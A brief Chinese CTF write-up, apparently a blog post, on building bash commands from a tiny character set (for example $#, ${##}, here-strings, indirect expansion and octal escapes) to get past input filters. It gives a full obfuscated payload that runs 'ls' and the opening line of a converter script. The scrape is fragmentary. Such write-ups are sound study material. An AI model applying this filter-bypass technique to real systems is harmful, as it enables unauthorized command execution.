较少的字符构造命令执行的一种方法
较少的字符构造命令执行的一种方法
1azy_fish.参考文章:
34c3 CTF minbashmaxfun writeup. TL;DR | by Ori Kadosh | Medium
安洵杯的Bash
开题得到源代码
1 |
|
跑一下,只能用这些东西
Our Arsenal
We have quite a few tools at our disposal which we use in our solution, so let’s start by explaining them:
1
2
3
4
5
6
7 $# - number of arguments - (evaluates to 0)
${##} - count variable (#) length - (evaluates to 1)
$((expr)) - arithmetic expression
<<< - here string
${!var} - indirect expansion
$'\123' - convert octal to a character in string literal
{a,b} - curly brace expansionThat’s the basis, and we build upon this like so:
1
2
3 $((${##}<<${##})) - 1 left shift by 1, evaluates to 2
${!#} - executes bash (as the first argument is /bin/bash)
$((2#1000001)) - convert binary to decimal. 2, 1 and 0 are forbidden and will be replaced
我们可以得到0、1、2那么,通过二进制的转化,我们基本就可以得到我们需要的所有的数字了,之后利用<<<
重定向,就可以得到我们需要的字符了。
例如:ls
1 | $0<<<$0\<\<\<\$\'\\${##}$(($((${##}<<${##}))#${##}0${##}))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}${##}0))$(($((${##}<<${##}))#${##}${##}))\\$((${##}<<$((${##}<<${##}))))0\\$(($((${##}<<${##}))#${##}0${##}))$(($((${##}<<${##}))#${##}${##}${##}))\' |
写一个脚本
1 | def octal_to_binary(octal_str): |